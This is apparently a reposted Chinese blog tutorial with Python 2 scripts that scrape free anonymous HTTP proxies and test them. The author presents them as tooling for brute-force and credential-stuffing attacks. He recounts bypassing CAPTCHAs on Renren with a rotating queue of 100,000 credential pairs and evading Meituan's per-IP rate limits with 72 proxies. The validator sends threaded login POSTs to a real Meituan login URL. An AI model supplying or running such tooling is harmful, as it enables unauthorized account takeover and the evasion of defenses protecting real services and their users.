通过python批量获取及验证HTTP代理的代码示例-Tutorial Python-php.cn

通过python批量获取及验证HTTP代理的代码示例

Y2J

Lepaskan： 2017-05-02 15:24:12

asal

1485 orang telah melayarinya

这篇文章主要介绍了批量获取及验证HTTP代理的Python脚本,需要的朋友可以参考下

HTTP暴力破解、撞库，有一些惯用的技巧，比如：

1. 在扫号人人网时，我遇到单个账号错误两次，强制要求输入验证码，而对方并未实施IP策略。

我采用维护10万（用户名，密码）队列的方式来绕过验证码。具体的做法是，当某个用户名、密码组合遇到需要验证码，就把该破解序列挂起，放到队列尾部等待下次测试，继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时，我遇到了单个IP访问有一定限制，请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。看似每个IP的请求都正常，但其实从整个程序上看，效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段，其实只有几行。匿名代理是从这里抓取的：http://www.xici.net.co/nn/

首先获取代理列表：

from bs4 import BeautifulSoup
import urllib2
of = open(&#39;proxy.txt&#39; , &#39;w&#39;)
for page in range(1, 160):
  html_doc = urllib2.urlopen(&#39;http://www.xici.net.co/nn/&#39; + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find(&#39;table&#39;, id=&#39;ip_list&#39;).find_all(&#39;tr&#39;)
  for tr in trs[1:]:
    tds = tr.find_all(&#39;td&#39;)
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == &#39;HTTP&#39; or protocol == &#39;HTTPS&#39;:
      of.write(&#39;%s=%s:%s\n&#39; % (protocol, ip, port) )
      print &#39;%s=%s:%s&#39; % (protocol, ip, port)
of.close()

Salin selepas log masuk

接着验证代理是否可用，因为我是用于破解美团网系统的账号，因此用了美团的页面标记：

#encoding=gbk
import httplib
import time
import urllib
import threading
inFile = open(&#39;proxy.txt&#39;, &#39;r&#39;)
outFile = open(&#39;available.txt&#39;, &#39;w&#39;)
lock = threading.Lock()
def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split(&#39;=&#39;)
    headers = {&#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;,
      &#39;Cookie&#39;: &#39;&#39;}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method=&#39;POST&#39;, url=&#39;http://e.meituan.com/m/account/login&#39;, body=&#39;login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1&#39;, headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode(&#39;utf-8&#39;)
      print html_doc.encode(&#39;gbk&#39;)
      if ret_headers.find(u&#39;/m/account/login/&#39;) > 0:
        lock.acquire()
        print &#39;add proxy&#39;, proxy
        outFile.write(proxy + &#39;\n&#39;)
        lock.release()
      else:
        print &#39;.&#39;,
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

Salin selepas log masuk

Atas ialah kandungan terperinci 通过python批量获取及验证HTTP代理的代码示例. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!